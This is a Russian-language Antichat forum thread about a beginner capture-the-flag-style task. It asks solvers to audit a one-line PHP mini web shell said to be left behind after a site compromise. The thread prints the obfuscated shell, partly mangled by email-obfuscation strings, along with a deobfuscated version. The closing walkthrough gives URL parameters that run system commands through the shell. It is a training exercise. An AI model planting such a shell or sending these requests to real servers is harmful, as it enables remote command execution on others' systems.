Task # (micro)Task#15

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 10 Feb 2022.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Это задание с минимальным уровнем сложности.
    Безо всяких подвохов, специальных знаний и необходимости включать хакерскую догадку.
    Скорее - практическое занятие, близкое к реальности.

    Вам прислали файл, который был залит во время взлома некоторого сайта (см. аттач).
    И попросили провести аудит.

    Предположительно это мини шелл.
    Нужно подтвердить возможность RCE (удаленного выполнения команд).

    Содержимое файла:
    Code:
    <[email protected]$_GET[_][email protected]_&&@$_GET[__]($_GET[___]);
    Задание:
    Составить POC, который выполнит вашу команду через этот файл.
    В ПМ жду урл с параметрами вызова скрипта.

    Срок:
    две недели

    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.

    Прошли:
    Skofield

    joelblack
    trololoman96
    WallHack
    Baskin-Robbins
    MichelleBoxing
    lifescore
    st55
    Gasc0igne

    Прохождение
     

    Attached Files:

    #1 dooble, 10 Feb 2022
    Last edited: 24 Feb 2022
    lifescore, st55, WallHack and 5 others like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Такого простого задания еще не было.
    Одна строчка кода.
    Вот даже трудно придумать хинт, поскольку решается влёт, "в уме".

    Но оно хорошо подойдет тем, кто только начинает.
    Нотация не самая читабельная, отличается от примеров в учебнике, но смысл от этого не исчезает, его просто нужно восстановить.

    В крайнем случае выручат отладочные средства.
     
    Skofield and joelblack like this.
  3. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    В традицию тасков также входит отметиться в топике, если прошел задание.
    Это не обязательное условие, но приятная привилегия :).
     
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    957
    Likes Received:
    374
    Reputations:
    58
    +.
    Хорошее, компактное задание для начинающих.
     
    joelblack likes this.
  5. WallHack

    WallHack Elder - Старейшина

    Joined:
    18 Jul 2013
    Messages:
    303
    Likes Received:
    138
    Reputations:
    33
    Просто и со вкусом :)
     
  6. MichelleBoxing

    MichelleBoxing Reservists Of Antichat

    Joined:
    12 Nov 2018
    Messages:
    19
    Likes Received:
    32
    Reputations:
    57
    особенно интересно, когда решал не правильно скопированное задание )))
    <[email protected]$_GET[_][email protected]$_&&@$_GET[__]($_GET[___]);
     
  7. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Интересная мысль, пофаззить код и поискать решения :).
     
    joelblack likes this.
  8. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Ага, но решение получается слегка вырожденное :).
     
  10. lifescore

    lifescore Elder - Старейшина

    Joined:
    27 Aug 2011
    Messages:
    651
    Likes Received:
    509
    Reputations:
    72
    dooble thx за труд и таску! :)
     
  11. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    957
    Likes Received:
    374
    Reputations:
    58
    Так в этом ж случае решение ещё короче, потому что ж null, или я чего-то не понимаю?
     
    dooble likes this.
  12. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Все верно, поэтому и написал, что решение получаем с "вырожденным" множеством параметров.
     
    Skofield likes this.
  13. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    224
    Likes Received:
    590
    Reputations:
    144
    Задание закрыто.

    Прохождение.
    Смотрим еще раз строку кода
    Code:
    <[email protected]$_GET[_][email protected]_&&@$_GET[__]($_GET[___]);
    Не очень удобная запись для восприятия, много символов подчеркивания, экономия на кавычках и подавленные варнинги.

    Перепишем так:
    Code:
    $_GET['_']=='_' && $_GET['__']($_GET['___']);
    Подчеркивания допустимо использовать в качестве имени переменной.

    Стало понятнее, "логическое И" (&&) объединяет два выражения, справа - классическое Обращение к функциям через переменные.
    Слева - дополнтельная проверка, что то вроде проверки пароля, примерно такой метакод:
    Code:
    $pass='word';
    $function='system';
    $parameter='whoami';
    
    if($pass == 'word'){
        $function($parameter);
    }
    ФсЁ.

    Соответствено вызовы могут быть такие:
    Code:
    ?_=_&__=phpinfo&___=-1
    ?_=_&__=system&___=dir
    ?_=_&__=printf&___=RCE